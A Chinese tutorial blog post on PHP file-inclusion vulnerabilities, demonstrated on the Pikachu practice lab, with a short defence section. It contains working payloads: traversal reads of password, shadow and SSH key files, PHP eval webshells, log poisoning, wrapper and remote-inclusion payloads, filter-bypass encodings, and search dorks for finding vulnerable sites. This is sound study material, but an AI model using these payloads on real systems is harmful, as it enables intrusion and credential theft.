当前位置: 首页 > news >正文

pikachu文件包含漏洞

一:漏洞基础

程序在引用文件的时,引用的文件名存在可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入;

文件包含漏洞概念

在PHP程序中使用文件包含的对象可以被前端的用户控制且没有经过过滤或严格的定义,用户可以将其他的
文件作为参数带入到PHP代码中解释执行,从而造成敏感信息泄露/程序文件读取/GetShell等危害的漏
洞

1.1:高危函数

require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件,而 include() 只有程序执行到该函数时才调用 。其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、fopen()、file()

文件包含是执行被包含文件中的PHP代码,而文件打开则是读取文件中的内容不会执行!

1.2:源码分析

# 漏洞解析
$_GET['filename'] 接收客户端传的参数,其中没有任何过滤 带入到 include 函数中,include
包含这个文件,引入到当前文件中,因此会造成文件包含漏洞;
# 文件包含
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
# 注解
../是上一级路径,如果存在漏洞文件又存在的时候,不是 php 文件会被读取显示在页面中;

二:漏洞利用

文件包含漏洞分为本地文件包含漏洞(Local File include,LFI)与远程文件包含漏洞(Remote Fileinclude,RFI);

本地包含文件即被包含的文件在本地中,可通过读取系统存在的文件获取信息/上传图片GetShell/包含

2.1:本地文件包含(LFI)

指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI !

包含条件: 用户可以动态控制变量!

包含常用路径
# 日志文件包含GetShell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
# 读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php
discuz 全局配置文件 config/config_global.php
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
# Windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS 配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php 配置信息
C:/Windows/my.ini //Mysql 配置信息
C:/Windows/win.ini // 配置信息
# Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
# Payload
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
/fi_local.php?filename=../../../../etc/passwd&submit=提交查询
# 相关靶场
http://123.206.127.23:8080 //Linux主机
包含图片GetShel
步骤一:先制作图片马
copy 1.jpg/b + 1.php/a 2.jpg

步骤二:通过文件上传模块上传一张GIF图片并获取其地址...如下
http://192.168.1.5/pikachu/vul/unsafeupload/uploads/2.jpg
步骤三:在文件包含页面进行文件包含...并GetShell
http://192.168.1.5/pikachu/vul/fileinclude/fi_local.php?
filename=../../../../info.jpg&submit=提交查询

蚁剑连接

步骤四:讲如下代码写入到图片马中并再次上传,并进行文件包含操作...
一句话木马
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
包含执行
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?
filename=../../unsafeupload/uploads/4.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A
5%E8%AF%A2

步骤四:进行文件包含后会在漏洞的当前目录下产生 shell.php 后面文件访问并连接...
127.0.0.1/pikachu/vul/fileinclude/shell.php

到指定目录下查看是否上传成功

蚁剑链接

包含日志GetShel

中间件例如 iis /apache/nginx 这些 web 中间件都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码也可以引入到文件包含中,如果日志有 php 恶意代码也可导致 getshell;在linux下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是windows 环境下是可以权限是允许的;

# 获取Apache日志路径
/etc/init.d/httpd
/etc/httpd/conf/httpd.conf
# 日志文件位置
phpstudy_pro\Extensions\Apache2.4.39\logs
/var/log/apache2/access.log
# Apache产生的日志文件
/Apache/logs/
-access.log #记录前端用户的访问日志
-error.log #记录Apache运行报错的记录
步骤一:制作一个具有文件包含漏洞的文件如下..存在漏洞,并且日志会记录;

# 漏洞代码

<?php

include $_GET['file'];

?>

# 日志文件

C:\phpStudy\PHPTutorial\Apache\logs\access.log

E:/uninstall/phpstudy_pro/Extensions/Nginx1.15.11/logs/localhost_acess.log

# 遇到问题

发现logs文件夹里面只有error.log且没有access.log修改httpd.

#CustomLog "logs/access.log" common 去掉前面这个#号

步骤二:我们可以直接插入恶意的php代码,使其记录下来;需注意浏览器会把 <> 编码,可以使用burp绕过;

改成

步骤三:日志记录,直接包含日志就可以了;注意在phpstudy里面可以,但是在linux里面可能就不行了,因为可能没有权限;
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../Extensions/Nginx1.15.11/logs/access.log&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

TIPS: 日志包含的时候,往往在日志文件之前有一些个错误,那么你再怎么努力也无济于事!!!日志文件往往是按天会生成新的文件。(凌晨的成功率较高)

PHP伪协议
<?php
include $_GET['file'];
?>

PHP 伪协议事实上就是支持的协议 封装协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect://
1. php.ini参数设置

在 php.ini 里有两个重要的参数 allow_url_fopen 、 allow_url_include ;

allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;

allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;

各协议的利用条件和方法:

2. file://协议
使用:file://文件的绝对路径和文件名
举例:
/lfi.php?file=file://c:\windows\system32\drivers\etc\hosts
/lfi.php?file=file://c:\windows\win.ini

3. php://filter协议
用途:常用于读取文件/源码
使用:?path=php://filter/read=convert.base64-encode/resource=文件.php
注意:通过指定末尾的文件,可以读取经 base64 加密后的文件源码 ,之后再 base64 解码,虽然不
能直接获取到 shell,但能读取敏感文件 。
php://filter 协议与 file:// 协议的区别:file 协议只能使用 绝对路径 ,filter 协议相对
路径和绝对路径 都可以使用
举例:
/lfi.php?file=php://filter/read=convert.base64-encode/resource=123.php
/lfi.php?file=php://filter/read=convert.base64-
encode/resource=c:\windows\win.ini
是在尝试通过 PHP 的过滤器来读取并以 Base64 编码的方式获取资源“c:\windows\win.ini”的内容。

4. php://input协议

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入

的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行

时会将 post 内容当作文件内容;

注:当 enctype="multipart/form-data",php://input 是无效的;

php.ini 条件是 allow_url_fopen =ON allow_url_include=ON;

设置请求为 post 请求 在正文输入 php 代码提交即可允许;

5. data://

data://text/plain,(php代码)

?file=data://text/plain,

使用条件:
allow_url_fopen = on
allow_url_include = on
使用举例:
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=
webshell构造:
URL: ?file=data://text/plain,<?php eval($_POST[1])?>
Webshell密码: 1

6. zip://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
使用举例:
zip://[压缩文件绝对/相对路径]#[压缩文件内的子文件名](#编码为%23)
lfi.php?file=zip://E:/xxx.zip%23xxx.png

7. phar://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
举例:
/lfi.php?file=phar://E:/xxx.zip/xxx.png
其他类似协议:
bzip2://
zlib://

2.2:远程文件包含(RFI)

当远程文件开启时,可以包含远程文件到本地执行也称为RFI!
当 allow_url_fopen=On allow_url_include=ON ** 两个条件同时为 On 允许远程包含文件**; 
---》phpinfo() l.php/info.php
步骤一:讲以下代码存储到1.txt中并开启HTTP服务器对外访问...
<?php phpinfo();@eval($_POST[1]);?>

步骤二:访问 lfi.php?file=[http://127.0.0.1/1.txt](http://127.0.0.1/1.txt)

2.3:文件包含限制绕过
<?php
$file = $_GET["file"];
include $file.".txt";
highlight_file(__FILE__);
?>
方法一:00截断
条件:1. magic_quotes_gpc = Off 2. php 版本 < 5.3.4
获取 phpinfo.php 文件

方法二:路径长度截断
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,
导致扩展名截断。
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃

方法三:问号绕过
payload:1.php?file=http://127.0.0.1/1.txt?

方法四:#绕过
payload:1.php?file=http://127.0.0.1/1.txt%23

方法五:空格绕过
payload:
1.php?file=http://127.0.0.1/1.txt%20
1.php?file=http://127.0.0.1/1.txt+
1.php?file=http://127.0.0.1/1.txt abc

方法六:编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

利用URL编码绕过

%2e%2e%2f === ../
%2e%2e%5c === ..\
%2e = .
%2f = /
%5c = \

二次URL编码

%252e%252e%252f%252e%252e%252f ---> 服务器接收解码一次 %2e%2f

三:挖掘防护

# 挖掘姿势
inurl:/.php?incluede=
inurl:/.PHP?file=
inurl:/.php?page=
# 易受本地文件包含 (LFI) 漏洞影响的前 25 个参数的列表
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
# 漏洞防护
1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是
否可被外部控制;
2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php');
5. 设置 allow_url_include 为 Off ;

相关文章:

pikachu文件包含漏洞

一&#xff1a;漏洞基础 程序在引用文件的时&#xff0c;引用的文件名存在可控的情况&#xff0c;传入的文件名没有经过合理的校验或校验不严&#xff0c;从而操作了预想之外的文件&#xff0c;就有可能导致文件泄漏和恶意的代码注入&#xff1b; 文件包含漏洞概念 在PHP程序…...

09.FreeRTOS时间片调度与任务相关函数

文章目录 09. FreeRTOS时间片调度与任务相关函数1. FreeRTOS时间片调度2. 任务状态查询API函数3. 任务时间统计API函数 09. FreeRTOS时间片调度与任务相关函数 1. FreeRTOS时间片调度 时间片调度简介&#xff1a; 时间片调度实验流程&#xff1a; 核心代码&#xff1a; 开…...

git分支介绍

git branch 查看当前分支情况 可以看见当前只有一个分支叫main&#xff0c;也就是默认分支&#xff0c;可以理解为树的主干&#xff0c;git早期版本中默认分支叫master 命令行创建一个新分支 git branch [分支名]在创建之后&#xff0c;如果需要切换到新分支需要git switc…...

vm虚拟机下安装CentOS7系统

VMware16安装CentOS7 1.启动之前安装的VM 具体VMware安装过程 2.配置Linux&#xff08;centos7&#xff09;的镜像文件 选择安装镜像文件 4.开启虚拟机 开始读秒安装 选择安装过程中使用的语言&#xff0c;这里选择英文、键盘选择美式键盘。点击Continue 首先设置时间…...

python-报数(赛氪OJ)

[题目描述] 有 n 人围成一圈&#xff0c;顺序排号。 从第 1 个人开始报数&#xff08;从 1 到 3 报数&#xff09;&#xff0c;凡是报到 3 的人退出圈子&#xff0c;问最后留下的是原来的第几号的那位。输入格式&#xff1a; 初始人数 n 。输出格式&#xff1a; 最后一人的初始…...

灵办AI:智能插件,办公与编程的得力助手

目录 引言一、灵办AI&#xff1a;智能化的办公伙伴二、编程能力&#xff1a;&#x1f525;代码阅读&#xff0c;学习助手&#x1f525;1、代码解读2、代码续写3、代码优化 三、插件端对话功能&#xff1a;智能交互&#xff0c;流畅体验四、翻译功能&#xff1a;一键翻译&#x…...

食家巷小程序:传统面点与平凉特产的美味盛宴

在美食的世界里&#xff0c;总有一些角落等待着我们去探索&#xff0c;而食家巷小程序就是这样一个为您开启美食宝藏的钥匙。 一、传统面点&#xff0c;传承千年的美味 食家巷小程序为您呈现了种类丰富的传统面点&#xff0c;每一款都蕴含着深厚的历史和文化底蕴。 平凉锅盔&…...

矢量文件坐标转换:2000坐标系转换为wgs84坐标系,具体代码实现

最近在处理矢量样本的时候&#xff0c;遇到一些shp文件的坐标系为2000坐标&#xff0c;需要统一地把非WGS84坐标系的矢量转换为WGS84坐标系。 本文记录一下如何进行2000坐标系转化为wgs84坐标系的过程。 在处理矢量数据转换的过程中&#xff0c;有几个关键步骤确保了数据的有效…...

MySQL-InnoDB引擎

目录 逻辑存储结构 架构 概述 内存结构 Buffer Pool&#xff08;缓冲池&#xff09; Change Buffer&#xff08;更改缓冲区&#xff09; Adaptive Hash Index&#xff08;自适应hash索引&#xff09; Log Buffer&#xff08;日志缓冲区&#xff09; 磁盘结构 System T…...

【Material-UI】复杂按钮 (Complex Button) 自定义详解

文章目录 一、ButtonBase 组件简介二、实例讲解&#xff1a;创建复杂的图片按钮1. 样式定义2. 核心组件构建3. 交互效果 三、高级自定义技巧1. 响应式设计2. 动态内容与动画 四、总结 在现代 Web 应用中&#xff0c;按钮不仅仅是一个点击交互元素&#xff0c;它们也承载着传递信…...

IT服务质量管理攻略(至简)

质量管理、风险管理和信息安全管理是IT服务监督管理的重要内容&#xff0c;三者之间相对独立。IT服务质量管理是通过制订质量方针、质量目标和质量计划&#xff0c;实施质量控制、质量保证和质量改进活动&#xff0c;确保IT服务满足服务级别协议的要求&#xff0c;最终获得用户…...

MySQL事务隔离级别、InnoDB使用MVCC+各种锁实现了RC和RR事务隔离级别、具体案例

事务隔离级别 脏读&#xff1a;一个事务读取到另一个未提交事务的更改。不可重复读&#xff1a;一个事务在两次读取同一数据时&#xff0c;发现数据被另一个已提交事务修改了。幻读&#xff1a;一个事务在读取过程中&#xff0c;因其他事务的插入而导致返回的行数不一致&#…...

你的Java项目还在等待吗?快来学会线程池,解放你的性能!

文章目录 你的Java项目还在等待吗&#xff1f;快来学会线程池&#xff0c;解放你的性能&#xff01;1 什么是线程池&#xff1f;为什么需要它&#xff1f;2 线程池的参数有哪些&#xff1f;3 不同类型的线程池有哪些配置&#xff1f; 你的Java项目还在等待吗&#xff1f;快来学…...

深入解析:Amazon Bedrock 上 Claude 3 Haiku 的微调测试报告

前言 2024年7月10日&#xff0c;Anthropic Claude 3 Haiku 的微调功能在 Amazon Bedrock 上开放预览。本篇文章将分享 Claude 3 Haiku 的微调使用步骤及微调后模型的评估结果。 LLM 细调的优势 通过细调&#xff0c;LLM可以获得特定领域的知识或新知识。这样&#xff0c;与RA…...

2023年庐阳区青少年信息学科普日真题- 马拉松(marathon)

题目描述 环湖马拉松全程 L 公里&#xff0c;已经安排了 N 个补给点&#xff0c;位置已经确定。由于预算增加&#xff0c;现在可以增设 K 个补给点。如何安排新增的补给点使得相邻补给点间最大距离最小。相邻补给点间距离也包括起点与第一个补给点之间的距离和最后一个补给点与…...

Python笔记:socket.gaierror: [Errno -3] Temporary failure in name resolution

【Python】成功解决socket.gaierror: [Errno -3] Temporary failure in name resolution 在Python开发中&#xff0c;使用网络编程时&#xff0c;特别是处理socket连接时&#xff0c;遇到socket.gaierror: [Errno -3] Temporary failure in name resolution这个错误是一个相对…...

HexView 刷写文件脚本处理工具-基本功能介绍(三)-导出S19/HEX

菜单 导出(Export) 此项目将一系列不同的选项组合在一起,用于将内部数据存储为不同的文件格式。每种导出都可以包含一些选项,以调整输出信息。 导出为S-Record格式(Export as S-Record) Motorola S-Record格式导出数据。 记录类型将根据最高地址信息的长度自动选择。…...

代码随想录算法训练营第四天(二)|面试题 02.07. 链表相交 142.环形链表II

面试题 02.07. 链表相交 题目&#xff1a; 给你两个单链表的头节点 headA 和 headB &#xff0c;请你找出并返回两个单链表相交的起始节点。如果两个链表没有交点&#xff0c;返回 null 。 图示两个链表在节点 c1 开始相交&#xff1a; 题目数据 保证 整个链式结构中不存在环…...

学习记录第二十一天

目录操作是指在计算机文件系统中对目录&#xff08;也称为文件夹&#xff09;进行的各种管理操作。目录是组织和存储文件的一种逻辑结构&#xff0c;它帮助用户和系统管理大量文件&#xff0c;使得文件查找和组织更加高效有序。目录操作主要包括以下几种&#xff1a; 1.创建目…...

江协科技51单片机学习- p31 LCD1602液晶屏驱动

&#x1f680;write in front&#x1f680; &#x1f50e;大家好&#xff0c;我是黄桃罐头&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流 &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd;​…...

零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?

一、核心优势&#xff1a;专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发&#xff0c;是一款收费低廉但功能全面的Windows NAS工具&#xff0c;主打“无学习成本部署” 。与其他NAS软件相比&#xff0c;其优势在于&#xff1a; 无需硬件改造&#xff1a;将任意W…...

C++_核心编程_多态案例二-制作饮品

#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为&#xff1a;煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例&#xff0c;提供抽象制作饮品基类&#xff0c;提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...

大话软工笔记—需求分析概述

需求分析&#xff0c;就是要对需求调研收集到的资料信息逐个地进行拆分、研究&#xff0c;从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要&#xff0c;后续设计的依据主要来自于需求分析的成果&#xff0c;包括: 项目的目的…...

通过Wrangler CLI在worker中创建数据库和表

官方使用文档&#xff1a;Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后&#xff0c;会在本地和远程创建数据库&#xff1a; npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库&#xff1a; 现在&#xff0c;您的Cloudfla…...

React19源码系列之 事件插件系统

事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现

摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序&#xff0c;以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务&#xff0c;提供稳定高效的数据处理与业务逻辑支持&#xff1b;利用 uniapp 实现跨平台前…...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

排序算法总结(C++)

目录 一、稳定性二、排序算法选择、冒泡、插入排序归并排序随机快速排序堆排序基数排序计数排序 三、总结 一、稳定性 排序算法的稳定性是指&#xff1a;同样大小的样本 **&#xff08;同样大小的数据&#xff09;**在排序之后不会改变原始的相对次序。 稳定性对基础类型对象…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能

1. 开发环境准备 ​​安装DevEco Studio 3.1​​&#xff1a; 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK ​​项目配置​​&#xff1a; // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...

Python 高效图像帧提取与视频编码:实战指南

Python 高效图像帧提取与视频编码:实战指南 在音视频处理领域,图像帧提取与视频编码是基础但极具挑战性的任务。Python 结合强大的第三方库(如 OpenCV、FFmpeg、PyAV),可以高效处理视频流,实现快速帧提取、压缩编码等关键功能。本文将深入介绍如何优化这些流程,提高处理…...